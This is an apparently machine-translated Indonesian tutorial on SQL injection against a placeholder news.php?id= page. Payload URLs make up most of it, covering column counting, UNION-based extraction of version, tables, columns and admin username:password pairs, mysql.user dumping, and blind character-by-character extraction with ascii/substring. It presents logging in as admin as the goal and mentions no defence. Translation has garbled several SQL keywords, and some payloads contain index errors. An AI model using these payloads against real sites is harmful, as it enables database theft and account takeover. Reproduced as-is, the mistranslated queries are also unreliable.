Tutorial SQL Injection
Dalam tutorial ini saya akan menjelaskan cara kerja injeksi sql dan bagaimana
menggunakannya untuk mendapatkan beberapa informasi yang berguna.
Pertama-tama: Apa SQL injection?
Ini salah satu kerentanan yang paling umum dalam aplikasi web saat ini.
Hal ini memungkinkan penyerang untuk mengeksekusi query database di url dan mendapatkan akses
beberapa informasi rahasia dll ... (tak lama).
1.SQL Injection (klasik atau kesalahan berdasarkan atau apa pun yang Anda menyebutnya): D
2.Blind SQL Injection (bagian keras)
Jadi mari kita mulai dengan beberapa tindakan: D
1). Periksa kerentanan
Mari kita mengatakan bahwa kita memiliki beberapa situs seperti ini
http://www.site.com/news.php?id=5
Sekarang untuk menguji apakah ini vulrnable kita menambahkan ke akhir url '(kutipan),
dan itu akan menjadi http://www.site.com/news.php?id=5 '
jadi jika kita mendapatkan beberapa error seperti
"Anda memiliki kesalahan dalam sintaks SQL Anda, periksa manual yang sesuai dengan versi MySQL server Anda untuk hak dll ..."
atau yang serupa
yang berarti adalah vulrnable injeksi sql :)
2). Menemukan jumlah kolom
Untuk menemukan jumlah kolom kita menggunakan pernyataan ORDER BY (memberitahu basis data cara memesan hasil)
jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.
http://www.site.com/news.php?id=5 order by 1 / * <- tidak ada kesalahan
http://www.site.com/news.php?id=5 order by 2 / * <- tidak ada kesalahan
http://www.site.com/news.php?id=5 order by 3 / * <- tidak ada kesalahan
http://www.site.com/news.php?id=5 order by 4 / * <- error (kita mendapatkan pesan seperti kolom ini tidak diketahui '4' di 'order clause' atau sesuatu seperti itu)
yang berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.
3). Periksa fungsi UNION
Dengan serikat pekerja kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita harus
http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 / * (kita sudah menemukan bahwa jumlah kolom 3 pada bagian 2). )
jika kita melihat beberapa angka di layar, mis 1 atau 2 atau 3 maka karya UNION :)
4). Periksa versi MySQL
http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 / * CATATAN: jika / * tidak bekerja atau Anda mendapatkan beberapa kesalahan, kemudian coba -
itu komentar dan itu penting bagi query kita untuk bekerja dengan baik.
biarkan mengatakan bahwa kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kita ganti nomor 2 dengan @@ version atau version () dan mendapatkan someting seperti 4.1.33-log atau 5.0.45 atau serupa.
seharusnya terlihat seperti serikat http://www.site.com/news.php?id=5 ini semua pilih 1, @@ version, 3 / *
jika Anda mendapatkan error "union + campuran ilegal collations (implisit + dpt dipaksa) ..."
saya tidak melihat kertas yang meliputi masalah ini, jadi saya harus menulis :)
apa yang kita butuhkan adalah mengkonversi () function
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, mengkonversi (@@ version menggunakan latin1), 3 / *
atau dengan hex () dan unhex ()
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, unhex (hex (@@ version)), 3 / *
dan Anda akan mendapatkan versi MySQL: D
5). Mendapatkan meja dan kolom nama
baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12 ...) <--- kemudian saya akan menjelaskan untuk MySQL> 5 versi.
kita harus menebak table dan nama kolom dalam kebanyakan kasus.
nama tabel umum adalah: user / s, admin / s, anggota / s ...
nama kolom umum adalah: username, user, usr, user_name, password, lulus, passwd, pwd dll ...
mis akan
http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 dari admin / * (kita lihat nomor 2 di layar seperti sebelumnya, dan itu bagus: D)
kita tahu bahwa admin meja ada ...
sekarang untuk memeriksa nama kolom.
http://www.site.com/news.php?id=5 union semua pilih 1, username, 3 dari admin / * (jika Anda mendapatkan error, kemudian coba nama kolom lainnya)
kita mendapatkan username ditampilkan pada layar, misalnya akan admin, atau superadmin dll ...
sekarang untuk memeriksa apakah sandi kolom ada
http://www.site.com/news.php?id=5 union semua pilih 1, sandi, 3 dari admin / * (jika Anda mendapatkan error, kemudian coba nama kolom lainnya)
kita lihat password pada layar di hash atau teks biasa, itu tergantung dari bagaimana database diatur :)
mis md5 hash, hash mysql, sha1 ...
sekarang kita harus menyelesaikan query untuk terlihat bagus :)
untuk itu kita dapat menggunakan concat () function (itu bergabung string)
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, concat (username, 0x3a, password), 3 dari admin / *
Perhatikan bahwa saya menempatkan 0x3a, nilai hex untuk: (jadi 0x3a adalah nilai hex untuk usus)
(Ada cara lain untuk itu, char (58), nilai ascii untuk:)
http://www.site.com/news.php?id=5 union semua pilih 1, concat (username, char (58), password), 3 dari admin / *
sekarang kita mendapatkan username dislayed: password pada layar, mis admin: admin atau admin: somehash
ketika Anda memiliki ini, Anda dapat login seperti admin atau superuser: D
jika tidak bisa menebak hak nama tabel, Anda dapat selalu mencoba mysql.user (default)
memiliki pengguna i kolom password, sehingga contoh akan
http://www.site.com/news.php?id=5 union semua pilih 1, concat (user, 0x3a, password), 3 dari mysql.user / *
6). MySQL 5
Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan meja dan nama kolom
di MySQL> 5.
Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables / *
di sini kita ganti kami nomor 2 dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables
ditampilkan di layar. Sekarang kita harus menambahkan LIMIT ke akhir query untuk daftar semua tabel.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables membatasi 0,1 / *
dicatat bahwa saya menempatkan 0,1 (mendapatkan 1 hasil mulai dari 0 yang)
sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables membatasi 1,1 / *
tabel kedua ditampilkan.
meja ketiga kami menempatkan membatasi 2,1
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, table_name, 3 dari information_schema.tables membatasi 2,1 / *
terus incrementing sampai Anda mendapatkan beberapa yang berguna seperti db_admin, poll_user, auth, auth_user dll ...: D
Untuk mendapatkan nama kolom metode adalah sama.
di sini kita menggunakan column_name dan information_schema.columns
Metode ini sama seperti di atas sehingga contoh akan
http://www.site.com/news.php?id=5 union semua pilih 1, column_name, 3 dari information_schema.columns membatasi 0,1 / *
kolom pertama diplayed.
yang kedua (kita mengubah membatasi 0,1 untuk membatasi 1,1)
yaitu.
http://www.site.com/news.php?id=5 union semua pilih 1, column_name, 3 dari information_schema.columns membatasi 1,1 / *
kolom kedua ditampilkan, sehingga tetap incrementing sampai Anda mendapatkan sesuatu seperti
nama pengguna, pengguna, login, password, lulus, passwd dll ...: D
jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (Mana klausa)
mari kita mengatakan bahwa kita menemukan pengguna meja.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, column_name, 3 dari information_schema.columns mana table_name = 'pengguna' / *
sekarang kita bisa ditampilkan nama kolom dalam tabel user. Hanya menggunakan LIMIT kita bisa daftar semua kolom di tabel user.
Catatan bahwa ini tidak akan bekerja jika kutipan sihir adalah ON.
mari kita mengatakan bahwa kita menemukan colums pengguna, lulus dan email.
sekarang untuk menyelesaikan permintaan untuk menempatkan mereka semua bersama-sama: D
untuk itu kita menggunakan concat (), i decribe itu sebelumnya.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1, concat (user, 0x3a, pass, 0x3a, email) dari pengguna / *
apa yang kita dapatkan di sini adalah pengguna: lulus: email dari pengguna meja.
contoh: admin: hash: whatever@blabla.com
Itu semua di bagian ini, sekarang kita bisa melanjutkan pada bagian keras :)
2. Blind SQL Injection
injeksi buta adalah sedikit lebih rumit injeksi klasik tetapi bisa dilakukan: D
Saya harus menyebutkan, ada sangat baik buta sql injection tutorial oleh XPROG, sehingga tidak buruk untuk membacanya: D
Mari kita mulai dengan hal-hal canggih.
Saya akan menggunakan contoh kita
http://www.site.com/news.php?id=5
ketika kita menjalankan ini, kita melihat beberapa halaman dan artikel di halaman itu, gambar dll ...
maka ketika kita ingin menguji untuk serangan injeksi sql buta
http://www.site.com/news.php?id=5 dan 1 = 1 <--- ini selalu benar
dan halaman beban normal, itu ok.
sekarang tes yang sesungguhnya
http://www.site.com/news.php?id=5 dan 1 = 2 <--- ini adalah palsu
jadi jika beberapa teks, gambar atau beberapa konten yang hilang pada halaman kembali maka situs yang vulrnable untuk membutakan sql injection.
1) Dapatkan versi MySQL
untuk mendapatkan versi dalam serangan buta kita menggunakan substring
yaitu
http://www.site.com/news.php?id=5 dan substring (versi @@, 1,1) = 4
ini harus mengembalikan TRUE jika versi MySQL adalah 4.
ganti 4 dengan 5, dan jika permintaan mengembalikan TRUE maka versi adalah 5.
yaitu
http://www.site.com/news.php?id=5 dan substring (versi @@, 1,1) = 5
2) Uji jika bekerja subselect
ketika pilih tidak bekerja maka kita gunakan subselect
yaitu
http://www.site.com/news.php?id=5 dan (pilih 1) = 1
jika beban halaman normal maka subselects kerja.
maka akan kita lihat apakah kita memiliki akses ke mysql.user
yaitu
http://www.site.com/news.php?id=5 dan (pilih 1 dari batas mysql.user 0,1) = 1
jika beban halaman biasanya kita memiliki akses ke mysql.user dan kemudian kita bisa menarik beberapa sandi usign load_file () fungsi dan OUTFILE.
3). Lihat tabel dan nama kolom
Ini adalah bagian ketika menebak adalah teman terbaik :)
yaitu
http://www.site.com/news.php?id=5 dan (pilih 1 dari pengguna membatasi 0,1) = 1 (dengan limit 0,1 query kita disini mengembalikan 1 baris data, penyebab subselect mengembalikan hanya 1 baris, ini sangat penting.)
maka jika beban halaman normal tanpa konten hilang, pengguna meja keluar.
jika Anda mendapatkan SALAH (beberapa artikel yang hilang), hanya mengubah nama tabel sampai Anda menebak tepat satu :)
mari kita mengatakan bahwa kita telah menemukan bahwa nama tabel pengguna, sekarang apa yang kita butuhkan adalah nama kolom.
sama seperti nama tabel, kita mulai menebak. Seperti saya katakan sebelumnya mencoba nama umum untuk kolom.
yaitu
http://www.site.com/news.php?id=5 dan (pilih substring (concat (1, password), 1,1) dari pengguna membatasi 0,1) = 1
jika beban halaman biasanya kita tahu bahwa nama kolom adalah password (jika kita mendapatkan palsu kemudian mencoba nama umum atau hanya menebak)
di sini kita menggabungkan 1 dengan password kolom, maka substring kembali karakter pertama (, 1,1)
4). Menarik data dari database
kami menemukan pengguna meja saya kolom username password sehingga akan kita tarik karakter itu.
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 80
ok ini di sini menarik karakter pertama dari pengguna pertama di tabel user.
substring disini mengembalikan karakter pertama dan 1 karakter panjangnya. ascii () mengkonversi bahwa 1 karakter menjadi nilai ascii
dan kemudian membandingkannya dengan simbol yang lebih besar maka>.
jadi jika ascii arang yang lebih besar kemudian 80, beban halaman normal. (BENAR)
kami terus berusaha sampai kita salah.
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 95
kita mendapatkan TRUE, terus incrementing
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 98
BENAR lagi, lebih tinggi
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 99
SALAH!!!
sehingga karakter pertama username adalah char (99). Menggunakan converter ascii kita tahu bahwa char (99) adalah huruf 'c'.
kemudian mari kita periksa karakter kedua.
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 2,1))> 99
Perhatikan bahwa aku berubah, 1,1 untuk, 2,1 untuk mendapatkan karakter kedua. (Sekarang ia mengembalikan karakter kedua, 1 karakter di panjang)
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 99
BENAR, beban halaman normal, lebih tinggi.
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 107
SALAH, angka yang lebih rendah.
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 104
BENAR, lebih tinggi.
http://www.site.com/news.php?id=5 dan ascii (substring ((SELECT concat (username, 0x3a, password) dari pengguna membatasi 0,1), 1,1))> 105
SALAH!!!
kita tahu bahwa karakter kedua adalah char (105) dan itu adalah 'i'. Kami memiliki 'ci' sejauh
sehingga tetap incrementing sampai Anda mendapatkan akhir. (Ketika> 0 hasil palsu kita tahu bahwa kita telah mencapai akhir).
Ada beberapa alat untuk Blind SQL Injection, saya pikir sqlmap adalah yang terbaik, tapi aku melakukan semuanya secara manual,
Penyebab yang membuat Anda SQL INJECTOR yang lebih baik: D
Harap Anda belajar sesuatu dari tulisan ini.
Selamat bersenang-senang! (:
EmoticonEmoticon